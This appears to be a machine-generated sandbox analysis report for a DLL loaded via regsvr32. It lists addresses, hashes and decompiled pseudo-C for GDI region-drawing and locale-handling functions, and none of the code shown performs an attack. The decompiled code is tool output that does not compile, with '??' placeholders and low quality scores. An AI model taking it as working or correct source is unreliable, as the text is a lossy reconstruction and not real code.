0x1003e162
0x1003defb
0x1003defd
0x1003df08
0x1003df08
0x1003df0e
0x1003df10
0x1003df14
0x1003df17
0x1003df1b
0x1003df1e
0x1003e146
0x00000000
0x1003e146
0x1003df24
0x1003df30
0x1003df30
0x1003df33
0x1003e090
0x1003e094
0x1003e09c
0x1003e09c
0x1003e09f
0x1003e0a2
0x1003e0a6
0x1003e0ab
0x1003e0af
0x1003e0af
0x1003e0b3
0x1003e0b3
0x1003e0b7
0x1003e0bf
0x1003e0bf
0x1003e0c4
0x1003e0c9
0x1003e0ce
0x1003e13e
0x00000000
0x1003e13e
0x1003e0d0
0x1003e0d4
0x1003e0d7
0x00000000
0x00000000
0x1003e0d9
0x1003e0dd
0x1003e0e4
0x1003e0e9
0x1003e0ee
0x1003e130
0x00000000
0x1003e130
0x1003e0f0
0x1003e0f4
0x1003e0f4
0x00000000
0x1003e0f4
0x1003e0b9
0x1003e0bd
0x00000000
0x00000000
0x00000000
0x1003e0bd
0x1003e096
0x1003e09a
0x00000000
0x00000000
0x00000000
0x1003e09a
0x1003df39
0x1003df3c
0x1003df3f
0x1003df42
0x1003df46
0x1003df4b
0x1003df4d
0x1003df75
0x1003df78
0x1003df7c
0x1003df65
0x1003df65
0x00000000
0x1003df65
0x1003df83
0x1003df8c
0x1003df91
0x1003df94
0x00000000
0x00000000
0x1003df96
0x1003df96
0x1003df9a
0x1003df9c
0x1003dfa1
0x1003dfa7
0x1003dfac
0x1003dfb1
0x1003dfb6
0x1003dfb8
0x1003dfbb
0x1003dfc3
0x1003dfc8
0x1003dfcc
0x1003dfd2
0x1003dfd4
0x1003dfd7
0x00000000
0x00000000
0x1003dfe5
0x1003dfee
0x1003dff8
0x1003dffc
0x1003dfff
0x1003e008
0x1003e00e
0x1003e010
0x1003e122
0x00000000
0x1003e122
0x1003e016
0x1003e01a
0x1003e01d
0x1003e020
0x00000000
0x00000000
0x1003e026
0x1003e029
0x1003e089
0x00000000
0x1003e089
0x1003e030
0x1003e040
0x1003e045
0x1003e04a
0x1003e053
0x1003e059
0x1003e062
0x1003e068
0x1003e06a
0x1003e114
0x00000000
0x1003e114
0x1003e070
0x1003e075
0x00000000
0x00000000
0x1003e07b
0x1003e080
0x1003e083
0x00000000
0x1003e083
0x1003df4f
0x1003df4f
0x1003df5b
0x1003df60
0x1003df63
0x00000000
0x00000000
0x00000000
0x1003e0f7
0x1003e0fc
0x1003e0fc
0x1003e104
0x00000000
0x1003e104
0x1003deff
0x1003df02
0x1003e159
0x00000000
0x1003e159
0x00000000
0x1003df02
0x1003dea7
0x1003de5c
0x1003de63
0x1003de65
0x1003de6a
0x1003de6d
0x1003de72
0x1003de74
0x1003de7a
0x1003de7f
0x00000000
0x1003de7f
0x1003de4e
0x1003de52
0x00000000
0x00000000
0x00000000
0x1003de52
0x1003ddd5
0x1003ddda
0x1003dddc
0x1003dde1
0x1003dde4
0x1003dde9
0x1003ddeb
0x1003ddf1
0x1003ddf6
0x00000000
0x1003ddfb
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f2206f6d6faa89592ce7d73fe6f1db0492c32128488e8ec0ceb927b56a64e1
Instruction ID: 8b2b99b5a44c73bf290e6979d2151e3b8aadecfc773cec70950f3fa020e595fe
Opcode Fuzzy Hash: e1f2206f6d6faa89592ce7d73fe6f1db0492c32128488e8ec0ceb927b56a64e1
Instruction Fuzzy Hash: 41122676604BC18ADB22CF25E84435E77A0F789B85F550226EE8E8B7A4DF7DC945CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10018A70 Relevance: 27.2, APIs: 18, Instructions: 223
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 32%

			E10018A70(signed int __ebx, void* __ecx, intOrPtr* __rcx, void* __rdx, long long __r8, void* __r9, void* __r11) {
				intOrPtr _t165;
				intOrPtr _t167;
				int _t168;
				void* _t171;
				intOrPtr _t172;
				intOrPtr _t217;
				struct tagRECT* _t232;
				intOrPtr _t234;
				struct tagRECT* _t236;
				intOrPtr* _t237;
				int _t239;
				void* _t240;
				intOrPtr _t242;
				void* _t243;
				intOrPtr _t247;
				RECT* _t256;

				_t252 = __r11;
				 *((long long*)(_t242 + 0x18)) = __r8;
				_t165 = _t242;
				_t243 = _t242 - 0xa0;
				 *((long long*)(_t243 + 0x30)) = 0xfffffffe;
				_t240 = __r9;
				_t237 = __rcx;
				 *((long long*)(_t165 - 0x10)) = 0;
				 *((long long*)(_t165 - 0x18)) = 0x10057d08;
				 *((long long*)(_t165 - 0x20)) = 0;
				 *((long long*)(_t165 - 0x28)) = 0x10057d08;
				 *((long long*)(_t165 - 0x30)) = 0;
				 *((long long*)(_t165 - 0x38)) = 0x10057d08;
				CreateRectRgnIndirect(_t256);
				E1000FA74(__ebx, _t165, _t243 + 0x78, _t165, __r11);
				CopyRect(_t232);
				r8d =  *(_t243 + 0xe4);
				r8d =  ~r8d;
				_t130 =  ~__ebx;
				InflateRect(_t236, _t239, _t168);
				IntersectRect(??, ??, ??);
				CreateRectRgnIndirect(??);
				E1000FA74( ~__ebx, _t165, _t243 + 0x68, _t165, __r11);
				r9d = 0;
				r8d = 0;
				CreateRectRgn(??, ??, ??, ??);
				E1000FA74( ~__ebx, _t165, _t243 + 0x88, _t165, __r11);
				r9d = 3;
				_t247 =  *((intOrPtr*)(_t243 + 0x70));
				_t217 =  *((intOrPtr*)(_t243 + 0x80));
				CombineRgn(??, ??, ??, ??);
				_t234 =  *((intOrPtr*)(_t243 + 0xf8));
				if(_t234 == 0) {
					E10018998(_t217, _t247, __r9);
					_t234 = _t165;
				}
				if((0 | _t234 != 0x00000000) == 0) {
					E1000E3A4();
					asm("int3");
				}
				_t171 =  ==  ? _t234 :  *((intOrPtr*)(_t243 + 0x100));
				 *((long long*)(_t243 + 0x60)) = 0;
				 *((long long*)(_t243 + 0x58)) = 0x10057d08;
				 *((long long*)(_t243 + 0x50)) = 0;
				 *((long long*)(_t243 + 0x48)) = 0x10057d08;
				if(_t240 != 0) {
					r9d = 0;
					r8d = 0;
					CreateRectRgn(??, ??, ??, ??);
					E1000FA74(_t130, _t165, _t243 + 0x58, _t165, _t252);
					r11d =  *((intOrPtr*)(_t240 + 0xc));
					 *((intOrPtr*)(_t243 + 0x20)) = r11d;
					r9d =  *((intOrPtr*)(_t240 + 8));
					r8d =  *(_t240 + 4);
					SetRectRgn(??, ??, ??, ??, ??);
					CopyRect(??, ??);
					r8d =  *(_t243 + 0xf4);
					r8d =  ~r8d;
					InflateRect(??, ??, ??);
					IntersectRect(??, ??, ??);
					r11d =  *((intOrPtr*)(_t243 + 0x44));
					 *((intOrPtr*)(_t243 + 0x20)) = r11d;
					r9d =  *((intOrPtr*)(_t243 + 0x40));
					r8d =  *(_t243 + 0x3c);
					SetRectRgn(??, ??, ??, ??, ??);
					r9d = 3;
					CombineRgn(??, ??, ??, ??);
					_t255 =  *((intOrPtr*)(_t171 + 8));
					if( *((intOrPtr*)(_t234 + 8)) ==  *((intOrPtr*)(_t171 + 8))) {
						r9d = 0;
						r8d = 0;
						CreateRectRgn(??, ??, ??, ??);
						E1000FA74(_t130, _t165, _t243 + 0x48, _t165, _t255);
						r9d = 3;
						CombineRgn(??, ??, ??, ??);
					}
				}
				_t166 =  *((intOrPtr*)(_t171 + 8));
				r13d = 0x5a0049;
				if( *((intOrPtr*)(_t234 + 8)) !=  *((intOrPtr*)(_t171 + 8)) && _t240 != 0) {
					E1000F32C(_t237, _t243 + 0x58);
					 *((intOrPtr*)( *_t237 + 0xa0))();
					E1000FBFC(_t237, _t171);
					r8d =  *(_t243 + 0x3c);
					r9d =  *((intOrPtr*)(_t243 + 0x40));
					r9d = r9d -  *((intOrPtr*)(_t243 + 0x38));
					 *((intOrPtr*)(_t243 + 0x28)) = r13d;
					 *((intOrPtr*)(_t243 + 0x20)) =  *((intOrPtr*)(_t243 + 0x44)) - r8d;
					PatBlt(??, ??, ??, ??, ??, ??);
					E1000FBFC(_t237, _t166);
				}
				_t167 = _t243 + 0x88;
				_t219 =  ==  ? _t167 : _t243 + 0x48;
				E1000F32C(_t237,  ==  ? _t167 : _t243 + 0x48);
				 *((intOrPtr*)( *_t237 + 0xa0))();
				_t221 = _t234;
				E1000FBFC(_t237, _t234);
				_t172 = _t167;
				r8d =  *(_t243 + 0x3c);
				r9d =  *((intOrPtr*)(_t243 + 0x40));
				r9d = r9d -  *((intOrPtr*)(_t243 + 0x38));
				 *((intOrPtr*)(_t243 + 0x28)) = r13d;
				 *((intOrPtr*)(_t243 + 0x20)) =  *((intOrPtr*)(_t243 + 0x44)) - r8d;
				PatBlt(??, ??, ??, ??, ??, ??);
				if(_t172 != 0) {
					_t221 = _t172;
					E1000FBFC(_t237, _t172);
				}
				E1000F32C(_t237, _t221);
				 *((long long*)(_t243 + 0x48)) = 0x10057ca8;
				E1000FAF0(_t167, _t243 + 0x48);
				 *((long long*)(_t243 + 0x58)) = 0x10057ca8;
				E1000FAF0(_t167, _t243 + 0x58);
				 *((long long*)(_t243 + 0x68)) = 0x10057ca8;
				E1000FAF0(_t167, _t243 + 0x68);
				 *((long long*)(_t243 + 0x78)) = 0x10057ca8;
				E1000FAF0(_t167, _t243 + 0x78);
				 *((long long*)(_t243 + 0x88)) = 0x10057ca8;
				return E1000FAF0(_t167, _t243 + 0x88);
			}

0x10018a70
0x10018a70
0x10018a7b
0x10018a7e
0x10018a85
0x10018a8e
0x10018a97
0x10018a9a
0x10018aa9
0x10018aad
0x10018ab5
0x10018ab9
0x10018ac1
0x10018ac8
0x10018ad6
0x10018ae3
0x10018ae9
0x10018af1
0x10018af4
0x10018afd
0x10018b10
0x10018b1b
0x10018b29
0x10018b2e
0x10018b31
0x10018b38
0x10018b49
0x10018b4e
0x10018b54
0x10018b59
0x10018b69
0x10018b6f
0x10018b7a
0x10018b7c
0x10018b81
0x10018b81
0x10018b8e
0x10018b90
0x10018b95
0x10018b95
0x10018ba1
0x10018ba5
0x10018bae
0x10018bb3
0x10018bbc
0x10018bc4
0x10018bca
0x10018bcd
0x10018bd4
0x10018be2
0x10018be7
0x10018beb
0x10018bf0
0x10018bf4
0x10018c03
0x10018c11
0x10018c17
0x10018c1f
0x10018c30
0x10018c43
0x10018c49
0x10018c4e
0x10018c53
0x10018c58
0x10018c66
0x10018c6c
0x10018c84
0x10018c8a
0x10018c92
0x10018c94
0x10018c97
0x10018c9e
0x10018cac
0x10018cb1
0x10018cc9
0x10018cc9
0x10018c92
0x10018ccf
0x10018cd3
0x10018cdd
0x10018cec
0x10018cfc
0x10018d09
0x10018d15
0x10018d1d
0x10018d26
0x10018d29
0x10018d2e
0x10018d36
0x10018d42
0x10018d42
0x10018d4c
0x10018d5a
0x10018d61
0x10018d71
0x10018d78
0x10018d7e
0x10018d83
0x10018d8a
0x10018d92
0x10018d9b
0x10018d9e
0x10018da3
0x10018dab
0x10018db4
0x10018db6
0x10018dbc
0x10018dbc
0x10018dc6
0x10018dd3
0x10018ddd
0x10018de3
0x10018ded
0x10018df3
0x10018dfd
0x10018e03
0x10018e0d
0x10018e13
0x10018e35

APIs

CreateRectRgnIndirect.GDI32 ref: 10018AC8
CopyRect.USER32 ref: 10018AE3
InflateRect.USER32 ref: 10018AFD
IntersectRect.USER32 ref: 10018B10
CreateRectRgnIndirect.GDI32 ref: 10018B1B
CreateRectRgn.GDI32 ref: 10018B38
CombineRgn.GDI32 ref: 10018B69
CreateRectRgn.GDI32 ref: 10018BD4
SetRectRgn.GDI32 ref: 10018C03
CopyRect.USER32 ref: 10018C11
InflateRect.USER32 ref: 10018C30
IntersectRect.USER32 ref: 10018C43
SetRectRgn.GDI32 ref: 10018C66
CombineRgn.GDI32 ref: 10018C84
CreateRectRgn.GDI32 ref: 10018C9E
CombineRgn.GDI32 ref: 10018CC9
PatBlt.GDI32 ref: 10018D36

Part of subcall function 10018998: CreateBitmap.GDI32 ref: 10018A00
Part of subcall function 10018998: CreatePatternBrush.GDI32 ref: 10018A11
Part of subcall function 10018998: DeleteObject.GDI32 ref: 10018A21

Part of subcall function 1000FBFC: SelectObject.GDI32 ref: 1000FC27
Part of subcall function 1000FBFC: SelectObject.GDI32 ref: 1000FC42

Part of subcall function 1000F32C: SelectClipRgn.GDI32 ref: 1000F356
Part of subcall function 1000F32C: SelectClipRgn.GDI32 ref: 1000F371

PatBlt.GDI32 ref: 10018DAB

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$Create$Select$CombineObject$ClipCopyIndirectInflateIntersect$BitmapBrushDeletePattern
String ID:
API String ID: 1332805902-0
Opcode ID: 9477922935e8a0c8785181b71fbd463a95e634560bb1aa0150552ac54aeeb781
Instruction ID: 1f6242f0d2c338d12df584d332997494e26e6aa2e27f17e9696c619d910c0a7a
Opcode Fuzzy Hash: 9477922935e8a0c8785181b71fbd463a95e634560bb1aa0150552ac54aeeb781
Instruction Fuzzy Hash: F7A13836308A8086DB21DB26F85479EB761F789BD4F509129EE8E47F68DF78C585CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10001CC8 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 168
COMMONCrypto

Download Yara Rule

C-Code - Quality: 37%

			E10001CC8(long long __rcx, void* __rdx, void* __r11, long long _a8) {
				intOrPtr _v80;
				char _v88;
				intOrPtr _v96;
				char _v104;
				void* _v112;
				char _v120;
				void* _v128;
				char _v136;
				void* _v144;
				char _v152;
				void* _v160;
				char _v168;
				void* _v176;
				char _v184;
				long long _v200;
				long long _v216;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* __r13;
				signed int _t86;
				unsigned int _t97;
				unsigned int _t98;
				void* _t111;
				long long _t120;
				void* _t121;
				void* _t154;
				intOrPtr _t155;
				void* _t156;
				void* _t167;
				void* _t168;

				_t166 = __r11;
				_t140 = __rdx;
				_a8 = __rcx;
				_v200 = 0xfffffffe;
				r14d = r9d;
				r15d = r8d;
				_t120 = __rcx;
				_v216 = 0x10001020;
				_t6 = _t140 - 9; // 0x7
				r8d = _t6;
				E1002FB40(__rcx,  &_v184, __rdx, _t154, _t156, 0x10001030, _t167, _t168);
				E1000FAF0(0x10001020, _t120 + 0x758);
				E1000FAF0(0x10001020, _t120 + 0x768);
				 *(_t120 + 0xc0) = r15d;
				 *(_t120 + 0xc4) = r14d;
				r8d = 0x55555556;
				_t97 = r8d * r15d >> 0x20;
				r13d = _t97;
				r13d = r13d >> 0x1f;
				r13d = r13d + _t97;
				r12d = _t168 + _t168;
				asm("cdq");
				_t98 = r8d * r14d >> 0x20;
				_t111 = (_t98 >> 0x1f) + _t98;
				_t86 = _t154 + _t154;
				asm("cdq");
				r9d = _t86;
				r8d = r15d - _t97 >> 1;
				CreateEllipticRgn(??, ??, ??, ??);
				E1000FA74(_t86, 0x10001020,  &_v184, 0x10001020, __r11);
				r9d = _t86;
				_t119 = _a8;
				r8d =  *(_a8 + 0xc0);
				CreateEllipticRgn(??, ??, ??, ??);
				E1000FA74(_t86, _a8,  &_v168, _a8, __r11);
				r9d = r14d - _t98 >> 1;
				r8d = r12d;
				CreateEllipticRgn(??, ??, ??, ??);
				E1000FA74(_t86, _t119,  &_v152, _t119, __r11);
				_t155 = _a8;
				r9d =  *(_t155 + 0xc4);
				r8d = r12d;
				CreateEllipticRgn(??, ??, ??, ??);
				E1000FA74(_t86, _t119,  &_v136, _t119, __r11);
				r9d = 1;
				r8d = 1;
				CreateRectRgn(??, ??, ??, ??);
				E1000FA74(_t86, _t119,  &_v120, _t119, _t166);
				r9d = 1;
				r8d = 1;
				CreateRectRgn(??, ??, ??, ??);
				E1000FA74(_t86, _t119,  &_v104, _t119, _t166);
				r9d = r14d;
				r8d = r15d;
				CreateRectRgn(??, ??, ??, ??);
				E1000FA74(_t86, _t119,  &_v88, _t119, _t166);
				r9d = 1;
				r8d = 1;
				CreateRectRgn(??, ??, ??, ??);
				_t121 = _t155 + 0x758;
				E1000FA74(_t86, _t119, _t121, _t119, _t166);
				r9d = 1;
				r8d = 1;
				CreateRectRgn(??, ??, ??, ??);
				E1000FA74(_t86, _t119, _t155 + 0x768, _t119, _t166);
				r9d = 2;
				CombineRgn(??, ??, ??, ??);
				r9d = 2;
				CombineRgn(??, ??, ??, ??);
				r9d = 3;
				CombineRgn(??, ??, ??, ??);
				r8d = 0;
				if(_t121 != _v96) {
				}
				r9d = 3;
				_t153 = _v80;
				CombineRgn(??, ??, ??, ??);
				_t48 = _t153 - 9; // 0x7
				r8d = _t48;
				return E1002FA80(_t111, _t121,  &_v184, _v80, _t155, _t156, 0x10001020, _t167);
			}

0x10001cc8
0x10001cc8
0x10001cc8
0x10001ce0
0x10001ce9
0x10001cec
0x10001cef
0x10001cf9
0x10001d0a
0x10001d0a
0x10001d13
0x10001d20
0x10001d2c
0x10001d31
0x10001d38
0x10001d3f
0x10001d48
0x10001d4b
0x10001d4e
0x10001d52
0x10001d55
0x10001d5d
0x10001d67
0x10001d6f
0x10001d71
0x10001d77
0x10001d7e
0x10001d81
0x10001d88
0x10001d96
0x10001d9b
0x10001d9e
0x10001da6
0x10001db1
0x10001dbf
0x10001dc4
0x10001dc7
0x10001dcf
0x10001ddd
0x10001de2
0x10001dea
0x10001df1
0x10001df9
0x10001e07
0x10001e11
0x10001e14
0x10001e1b
0x10001e2c
0x10001e31
0x10001e34
0x10001e3b
0x10001e4c
0x10001e51
0x10001e54
0x10001e5b
0x10001e6c
0x10001e71
0x10001e74
0x10001e7b
0x10001e84
0x10001e8e
0x10001e93
0x10001e96
0x10001e9d
0x10001ead
0x10001eb7
0x10001ecc
0x10001ed2
0x10001ee7
0x10001ef2
0x10001f0c
0x10001f12
0x10001f18
0x10001f18
0x10001f1e
0x10001f21
0x10001f30
0x10001f43
0x10001f43
0x10001f64

APIs

Part of subcall function 1000FAF0: DeleteObject.GDI32 ref: 1000FB07

CreateEllipticRgn.GDI32 ref: 10001D88
CreateEllipticRgn.GDI32 ref: 10001DB1
CreateEllipticRgn.GDI32 ref: 10001DCF
CreateEllipticRgn.GDI32 ref: 10001DF9
CreateRectRgn.GDI32 ref: 10001E1B
CreateRectRgn.GDI32 ref: 10001E3B
CreateRectRgn.GDI32 ref: 10001E5B
CreateRectRgn.GDI32 ref: 10001E7B
CreateRectRgn.GDI32 ref: 10001E9D
CombineRgn.GDI32 ref: 10001ECC
CombineRgn.GDI32 ref: 10001EE7
CombineRgn.GDI32 ref: 10001F0C
CombineRgn.GDI32 ref: 10001F30

Strings

VUUU, xrefs: 10001D3F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Create$Rect$CombineElliptic$DeleteObject
String ID: VUUU
API String ID: 2634876876-2040033107
Opcode ID: 261f7d93b1db9d57f0371136cb25c1404e67e3e68a4c561af96fad5000a48f5a
Instruction ID: 911189bdfdf0fd40e850a77cb85bc1cac045ed899d9cf1dd99a59cb8870f1d32
Opcode Fuzzy Hash: 261f7d93b1db9d57f0371136cb25c1404e67e3e68a4c561af96fad5000a48f5a
Instruction Fuzzy Hash: 6351F476310A8082D725CB26E804BDAA761F78DFD4F40523ADE8E47B68DE79D488CB40

Uniqueness

Uniqueness Score: -1.00%

Function 10047B80 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 263
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E10047B80(void* __ebx, signed int __ecx, long long __rbx, long long __rcx, short* __rdx, long long __rdi, long long __rsi, long long __rbp, long long __r8, void* __r9, long long __r12, long long __r13, long long __r14, long long __r15, void* _a32) {
				long long _v8;
				void* _v16;
				void* _v24;
				long long _v32;
				void* _v40;
				void* _v48;
				void* _v56;
				signed int _v64;
				char _v72;
				long long _v88;
				int _t87;
				signed short _t91;
				signed int _t111;
				signed int _t116;
				int _t117;
				void* _t118;
				void* _t122;
				signed short _t130;
				void* _t131;
				void* _t132;
				void* _t133;
				void* _t134;
				char _t139;
				signed long long _t152;
				signed long long _t153;
				char* _t155;
				char* _t156;
				char* _t157;
				char* _t158;
				long long* _t163;
				char* _t184;
				long long _t186;
				signed long long _t187;
				void* _t191;
				void* _t193;
				signed long long _t194;
				signed long long _t198;
				signed long long _t200;
				long long _t202;
				short* _t205;
				void* _t208;

				_t193 = __r9;
				_t188 = __r8;
				_t186 = __rbp;
				_t184 = __rsi;
				_t182 = __rdi;
				_t180 = __rdx;
				_t119 = __ecx;
				_t118 = __ebx;
				_t194 = _t187;
				_t152 =  *0x100b1640; // 0xf93099fb11e7
				_t153 = _t152 ^ _t187;
				_v64 = _t153;
				 *((long long*)(_t194 + 0x20)) = __rbx;
				 *((long long*)(_t194 - 0x10)) = __rsi;
				 *((long long*)(_t194 - 0x18)) = __rdi;
				 *((long long*)(_t194 - 0x28)) = __r13;
				 *((long long*)(_t194 - 0x30)) = __r14;
				 *((long long*)(_t194 - 0x38)) = __r15;
				_t208 = __r8;
				_v72 = __r8;
				_t205 = __rdx;
				_t202 = __rcx;
				E10035F70(_t153, __rbx, __rcx, __rdx, __rdi, __rsi, __rbp, __r8, __r12);
				_t9 = _t153 + 0x140; // 0x140
				_t163 = _t9;
				if(_t202 != 0) {
					_t154 = _t202 + 0x40;
					_v8 = __rbp;
					 *_t163 = _t202;
					_v32 = __r12;
					 *((long long*)(_t163 + 8)) = _t154;
					if(_t154 == 0 ||  *_t154 == 0) {
						L13:
						_t155 =  *_t163;
						 *(_t163 + 0x10) = 0;
						if(_t155 == 0 ||  *_t155 == 0) {
							_t182 =  *((intOrPtr*)(_t163 + 8));
							if(_t182 == 0 ||  *_t182 == 0) {
								 *(_t163 + 0x10) = 0x104;
								_t87 = GetUserDefaultLCID();
								 *(_t163 + 0x24) = _t87;
								 *(_t163 + 0x20) = _t87;
							} else {
								asm("repne scasb");
								 *((intOrPtr*)(_t163 + 0x1c)) = 0xbadbad;
								EnumSystemLocalesA(??, ??);
								if(( *(_t163 + 0x10) & 0x00000004) == 0) {
									 *(_t163 + 0x10) = 0;
								}
							}
							goto L38;
						} else {
							_t157 =  *((intOrPtr*)(_t163 + 8));
							if(_t157 == 0 ||  *_t157 == 0) {
								E10047AF0(_t163, _t163, _t182);
							} else {
								E10047A20(_t163, _t163, _t182);
							}
							if( *(_t163 + 0x10) != 0) {
								L38:
								_t186 = _v8;
								goto L39;
							} else {
								_t131 = 0x40;
								_t119 = 1;
								_t133 = 0;
								while(_t119 != 0) {
									asm("cdq");
									_t182 = _t186 + _t184 - _t122 >> 1;
									_t198 = _t182 + _t182;
									_t180 =  *((intOrPtr*)(0x10000000 + 0x9dd30 + _t198 * 8));
									_t111 = E1004D7B0(_t118, 0x10000000, _t163,  *_t163,  *((intOrPtr*)(0x10000000 + 0x9dd30 + _t198 * 8)), _t182, _t184, _t186, _t188, _t198);
									_t119 = _t111;
									if(_t111 != 0) {
										if(_t111 >= 0) {
											_t44 = _t182 + 1; // 0x1
											_t133 = _t44;
										} else {
											_t43 = _t182 - 1; // -1
											_t131 = _t43;
										}
									} else {
										 *_t163 = 0x10000000 + 0x9dd38 + _t198 * 8;
									}
									if(_t133 <= _t131) {
										continue;
									} else {
										if(_t119 != 0) {
											goto L38;
										}
										break;
									}
								}
								_t158 =  *((intOrPtr*)(_t163 + 8));
								if(_t158 == 0 ||  *_t158 == 0) {
									E10047AF0(_t163, _t163, _t182);
								} else {
									E10047A20(_t163, _t163, _t182);
								}
								goto L38;
							}
						}
					} else {
						_t132 = 0x16;
						_t119 = 1;
						_t134 = 0;
						while(_t119 != 0) {
							asm("cdq");
							_t182 = _t186 + _t184 - _t122 >> 1;
							_t200 = _t182 + _t182;
							_t180 =  *((intOrPtr*)(0x10000000 + 0x9e140 + _t200 * 8));
							_t116 = E1004D7B0(_t118, _t154, _t163,  *((intOrPtr*)(_t163 + 8)),  *((intOrPtr*)(0x10000000 + 0x9e140 + _t200 * 8)), _t182, _t184, _t186, _t188, _t200);
							_t119 = _t116;
							if(_t116 != 0) {
								if(_t116 >= 0) {
									_t29 = _t182 + 1; // 0x1
									_t134 = _t29;
								} else {
									_t28 = _t182 - 1; // -1
									_t132 = _t28;
								}
							} else {
								_t154 = 0x10000000 + 0x9e148 + _t200 * 8;
								 *((long long*)(_t163 + 8)) = 0x10000000 + 0x9e148 + _t200 * 8;
							}
							if(_t134 <= _t132) {
								continue;
							}
							break;
						}
						_t208 = _v72;
						goto L13;
					}
				} else {
					 *(_t163 + 0x10) =  *(_t163 + 0x10) | 0x00000104;
					_t117 = GetUserDefaultLCID();
					 *(_t163 + 0x24) = _t117;
					 *(_t163 + 0x20) = _t117;
					L39:
					if( *(_t163 + 0x10) == 0) {
						L62:
						L63:
						return E1002FF40(_t119, _v64 ^ _t187);
					}
					if(_t202 == 0) {
						L47:
						_t119 =  *(_t163 + 0x24);
						r9d = 8;
						if(GetLocaleInfoA(??, ??, ??, ??) == 0) {
							goto L62;
						}
						_t156 =  &_v72;
						L49:
						_t91 = E10033B90(_t156, _t180);
						_t130 = _t91;
						if(_t91 == 0 || _t91 == 0xfde8 || _t91 == 0xfde9) {
							goto L62;
						} else {
							_t119 = _t91 & 0x0000ffff;
							if(IsValidCodePage(??) == 0) {
								goto L62;
							}
							_t119 =  *(_t163 + 0x20);
							if(IsValidLocale(??, ??) == 0) {
								goto L62;
							}
							if(_t205 != 0) {
								 *_t205 =  *(_t163 + 0x20) & 0x0000ffff;
								 *(_t205 + 4) = _t130;
								 *((short*)(_t205 + 2)) =  *(_t163 + 0x24) & 0x0000ffff;
							}
							if(_t208 == 0) {
								L61:
								goto L63;
							} else {
								if ( *_t205 != 0x814) goto 0x10047ee9;
								_t169 = _t208;
								if(E10033690(_t156, _t163, _t208, _t180, _t182, _t184, _t186, "Norwegian-Nynorsk") != 0) {
									r9d = 0;
									r8d = 0;
									_v88 = 0;
									E100342D0(0, _t180, "Norwegian-Nynorsk");
								}
								_t119 =  *(_t163 + 0x24);
								_t191 = _t208 + 0x40;
								r9d = 0x40;
								if(GetLocaleInfoA(??, ??, ??, ??) == 0) {
									goto L62;
								} else {
									r9d = 0xa;
									_t119 = _t130;
									_t78 = _t193 + 6; // 0x6
									r8d = _t78;
									E1004DCD0(_t130, _t156, _t169, _t208 + 0x80, _t182, _t184, _t186, _t191, _t193);
									goto L61;
								}
							}
						}
					}
					_t156 = _t202 + 0x80;
					if(_t156 == 0) {
						goto L47;
					}
					_t139 =  *_t156;
					if(_t139 == 0) {
						goto L47;
					}
					_t182 = 0x1009e2c8;
					_t184 = _t156;
					asm("repe cmpsb");
					if(_t139 == 0) {
						goto L47;
					}
					_t182 = 0x1009e2c4;
					_t184 = _t156;
					_t119 = 4;
					asm("repe cmpsb");
					if(_t139 != 0) {
						goto L49;
					}
					_t119 =  *(_t163 + 0x24);
					r9d = 8;
					if(GetLocaleInfoA(??, ??, ??, ??) == 0) {
						goto L62;
					}
					_t156 =  &_v72;
					goto L49;
				}
			}

0x10047b80
0x10047b80
0x10047b80
0x10047b80
0x10047b80
0x10047b80
0x10047b80
0x10047b80
0x10047b80
0x10047b87
0x10047b8e
0x10047b91
0x10047b96
0x10047b9a
0x10047b9e
0x10047ba2
0x10047ba6
0x10047baa
0x10047bae
0x10047bb1
0x10047bb6
0x10047bb9
0x10047bbc
0x10047bc4
0x10047bc4
0x10047bcb
0x10047be5
0x10047be9
0x10047bee
0x10047bf4
0x10047bf9
0x10047bfd
0x10047c67
0x10047c67
0x10047c6a
0x10047c74
0x10047d41
0x10047d48
0x10047d8c
0x10047d93
0x10047d99
0x10047d9c
0x10047d4f
0x10047d5d
0x10047d74
0x10047d77
0x10047d81
0x10047d83
0x10047d83
0x10047d81
0x00000000
0x10047c83
0x10047c83
0x10047c8a
0x10047c9e
0x10047c91
